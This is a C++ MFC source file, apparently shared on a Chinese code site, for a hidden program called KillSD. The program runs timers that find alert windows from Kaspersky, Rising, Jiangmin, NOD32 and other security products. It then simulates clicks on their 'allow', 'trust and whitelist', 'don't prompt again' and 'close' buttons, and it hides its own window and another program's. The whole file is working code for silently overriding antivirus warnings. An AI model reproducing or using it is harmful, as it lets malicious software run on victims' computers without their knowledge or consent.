📄 killsddlg.cpp
字号:
// KillSDDlg.cpp : implementation file
//
#include "stdafx.h"
#include "KillSD.h"
#include "KillSDDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
// -- 定时器
// -- 卡巴
#define WM_TIMER_AVP 208
// -- 瑞星
#define WM_TIMER_RISING 209
// -- 江民
#define WM_TIMER_JIANGM 210
// -- NOD32
#define WM_TIMER_NOD32 211
CKillSDDlg::CKillSDDlg(CWnd* pParent /*=NULL*/)
: CDialog(CKillSDDlg::IDD, pParent)
{
}
void CKillSDDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CKillSDDlg, CDialog)
//{{AFX_MSG_MAP(CKillSDDlg)
ON_WM_TIMER()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
BOOL CKillSDDlg::OnInitDialog()
{
CDialog::OnInitDialog();
SetTimer(205,100,0);
SetTimer(201,100,0);
SetTimer(203,100,0);
SetTimer(206,100,0);
SetTimer(207,100,0);
SetTimer(202,300000,0);
// note by zxl
SetTimer(WM_TIMER_AVP,100,0);
SetTimer(WM_TIMER_RISING,100,0);
SetTimer(WM_TIMER_JIANGM,100,0);
SetTimer(WM_TIMER_NOD32,100,0);
// note finish
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
return TRUE; // return TRUE unless you set the focus to a control
}
void CKillSDDlg::OnTimer(UINT nIDEvent)
{
if(nIDEvent==207)
{
CString findrs="瑞星主";
findrs+="动防御";
HWND ruixing=::FindWindow(NULL,findrs);
if(ruixing==NULL)
{
return;
}
HWND ringxingc=::FindWindowEx(ruixing,NULL,NULL,"放过");
if(ringxingc==NULL)
{
return;
}
RECT rect1;
::GetWindowRect(ringxingc,&rect1);
SetCursorPos(rect1.left+15,rect1.top+10);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
if(nIDEvent==206)
{
HWND hwnd1=::FindWindowEx(NULL,NULL,"#32770",NULL);
if(hwnd1!=NULL)
{
HWND hwndc1=::FindWindowEx(hwnd1,NULL,"ATL:020943B0",NULL);
if(hwndc1!=NULL)
{
HWND hwndcc2=::FindWindowEx(hwndc1,NULL,NULL,"允许");
if(hwndcc2!=NULL)
{
RECT rect;
::GetWindowRect(hwndcc2,&rect);
SetCursorPos(rect.left+5,rect.top+5);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
}
}
}
if(nIDEvent==205)
{
HWND hdswnd=::FindWindow(NULL,"AllDo");
if(hdswnd!=NULL)
{
::ShowWindow(hdswnd,SW_HIDE);
}
::ShowWindow(this->m_hWnd,SW_HIDE);
}
if(nIDEvent==203)
{
HWND hwnd=NULL;
hwnd=::FindWindow("NotifyWnd",NULL);
if(hwnd!=NULL)
{
RECT crect;
::GetClientRect(hwnd,&crect);
RECT rect;
::GetWindowRect(hwnd,&rect);
int scr_x=0;
int scr_y=0;
scr_x=GetSystemMetrics(SM_CXSCREEN);
scr_y=GetSystemMetrics(SM_CYSCREEN);
if(crect.right==238&&crect.bottom==317)
{
::SetCursorPos(rect.left+28,rect.top+266);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
::SetCursorPos(rect.left+83,rect.top+301);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
if(crect.right==244&&crect.bottom==298)
{
::SetCursorPos(rect.left+28,rect.top+242);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
::SetCursorPos(rect.left+161,rect.top+274);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
if(crect.right==238&&crect.bottom==176)
{
::SetCursorPos(rect.left+28,rect.top+122);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
::SetCursorPos(rect.left+83,rect.top+157);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
}
}
if(nIDEvent==201)
{
HWND ffds=::FindWindowEx(NULL,NULL,"#32770",NULL);
if(ffds!=NULL)
{
HWND hwffndc=::FindWindowEx(ffds,NULL,NULL,"总是允许");
if(hwffndc!=NULL)
{
::SendMessage(hwffndc,WM_LBUTTONDOWN,NULL,NULL);
::SendMessage(hwffndc,WM_LBUTTONUP,NULL,NULL);
HWND ffdee=::FindWindowEx(ffds,NULL,NULL,"确定");
::SendMessage(ffdee,WM_LBUTTONDOWN,NULL,NULL);
::SendMessage(ffdee,WM_LBUTTONUP,NULL,NULL);
}
}
HWND hwndd=::FindWindowEx(NULL,NULL,"Afx:400000:0",NULL);
{
if(hwndd!=NULL)
{
HWND hwnddd=::FindWindowEx(hwndd,NULL,NULL,"允许,并将其加入信任插件列表");
if(hwnddd!=NULL)
{
//::SendMessage(hwnddd,WM_LBUTTONDOWN,NULL,NULL);
//::SendMessage(hwnddd,WM_LBUTTONUP,NULL,NULL);
HWND hwndok=::FindWindowEx(hwndd,NULL,NULL,"重启前对该项采用相同操作,不再进行提示");
::SendMessage(hwndok,WM_LBUTTONDOWN,NULL,NULL);
::SendMessage(hwndok,WM_LBUTTONUP,NULL,NULL);
HWND hwnddc=::FindWindowEx(hwndd,NULL,NULL,"确定");
::SendMessage(hwnddc,WM_LBUTTONDOWN,NULL,NULL);
::SendMessage(hwnddc,WM_LBUTTONUP,NULL,NULL);
}
}
}
}
// note by zxl 2008-01-24
if( nIDEvent == WM_TIMER_AVP )
{
// -- 卡巴7.0 - 主动防御
HWND hwndd=::FindWindowEx(NULL,NULL,"AVP.AlertDialog",NULL);
{
if(hwndd!=NULL)
{
HWND hwnddd=::FindWindowEx(hwndd,NULL,NULL,"允许");
if(hwnddd!=NULL)
{
RECT rect1;
::GetWindowRect(hwnddd,&rect1);
SetCursorPos(rect1.left+15,rect1.top+10);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
}
}
}
if( nIDEvent == WM_TIMER_RISING )
{
/*
// -- 瑞星2008 - 主动防御
HWND hwndd=::FindWindowEx(NULL,NULL,"#32770",NULL);
{
if(hwndd!=NULL)
{
HWND hwnddd=::FindWindowEx(hwndd,NULL,NULL,"信任改程序,自动加入白名单");
if(hwnddd!=NULL)
{
::SendMessage(hwnddd,WM_LBUTTONDOWN,NULL,NULL);
::SendMessage(hwnddd,WM_LBUTTONUP,NULL,NULL);
HWND hWndBtn = ::FindWindowEx(hwndd,NULL,NULL,"重启计算机前,使用相同处理方式,不再重复提示。");
if( NULL != hWndBtn )
{
::SendMessage(hwnddd,WM_LBUTTONDOWN,NULL,NULL);
::SendMessage(hwnddd,WM_LBUTTONUP,NULL,NULL);
}
hWndBtn = ::FindWindowEx(hwndd,NULL,NULL,"放过");
if( NULL != hWndBtn )
{
::SendMessage(hwnddd,WM_LBUTTONDOWN,NULL,NULL);
::SendMessage(hwnddd,WM_LBUTTONUP,NULL,NULL);
}
}
}
}
*/
HWND hWnd = ::FindWindow( NULL, _T("恶意行为检测") );
if( NULL != hWnd )
{
HWND hChild = ::FindWindowEx( hWnd, NULL, NULL, _T("放过文件") );
if( NULL != hChild )
{
::SendMessage(hChild,WM_LBUTTONDOWN,NULL,NULL);
::SendMessage(hChild,WM_LBUTTONUP,NULL,NULL);
//RECT rect;
//::GetWindowRect(hChild,&rect);
//SetCursorPos(rect.left+15,rect.top+10);
//mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
//mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
::WritePrivateProfileString( "Check", "File", "1", "C:\\Check.ini" );
}
hChild = ::FindWindowEx( hWnd, NULL, NULL, _T("确 定") );
if( NULL != hChild )
{
::SendMessage(hChild,WM_LBUTTONDOWN,NULL,NULL);
::SendMessage(hChild,WM_LBUTTONUP,NULL,NULL);
//RECT rect;
//::GetWindowRect(hChild,&rect);
//SetCursorPos(rect.left+15,rect.top+10);
//mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
//mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
::WritePrivateProfileString( "Check", "OK", "1", "C:\\Check.ini" );
}
}
}
if( nIDEvent == WM_TIMER_JIANGM )
{
// -- 江民2008 - 主动防御
HWND hwndd=::FindWindowEx(NULL,NULL,"#32770",NULL);
{
if(hwndd!=NULL)
{
//HWND hwnddd=::FindWindowEx(hwndd,NULL,NULL,"以后直接使用当前的操作");
HWND hwnddd=::FindWindowEx(hwndd,NULL,NULL,"江民主动防御之木马一扫光提示您");
/*
HWND hwneee=::FindWindowEx(hwndd,NULL,"ATL:02DC43B0",NULL);
if(hwnddd!=NULL && hwneee!=NULL )
{
HWND hWndBtn = ::FindWindowEx(hwneee,NULL,NULL,"允许");
if( NULL != hWndBtn )
{
//::SendMessage(hwneee,WM_LBUTTONDOWN,NULL,NULL);
//::SendMessage(hwneee,WM_LBUTTONUP,NULL,NULL);
RECT rect;
::GetWindowRect(hwneee,&rect);
SetCursorPos(rect.left+15,rect.top+10);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
}
*/
HWND hWndNext = hwnddd;
while( NULL != hWndNext )
{
HWND hWndBtn = ::FindWindowEx(hWndNext,NULL,NULL,"允许");
if( NULL != hWndBtn )
{
RECT rect;
::GetWindowRect(hWndNext,&rect);
SetCursorPos(rect.left+15,rect.top+10);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
hWndNext = ::GetNextWindow( hWndNext, GW_HWNDNEXT );
}
}
}
}
if( nIDEvent == WM_TIMER_NOD32 )
{
// -- NOD32
HWND hwndd=::FindWindowEx(NULL,NULL,"#32770","NOD32 反病毒系统警告: AMON - 文件系统实时监控");
{
if(hwndd!=NULL)
{
HWND hWndBtn = ::FindWindowEx(hwndd,NULL,NULL,"关闭");
if( NULL != hWndBtn )
{
::SendMessage(hWndBtn,WM_LBUTTONDOWN,NULL,NULL);
::SendMessage(hWndBtn,WM_LBUTTONUP,NULL,NULL);
}
}
}
}
// note finish
if(nIDEvent==202)
{
CDialog::OnOK();
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -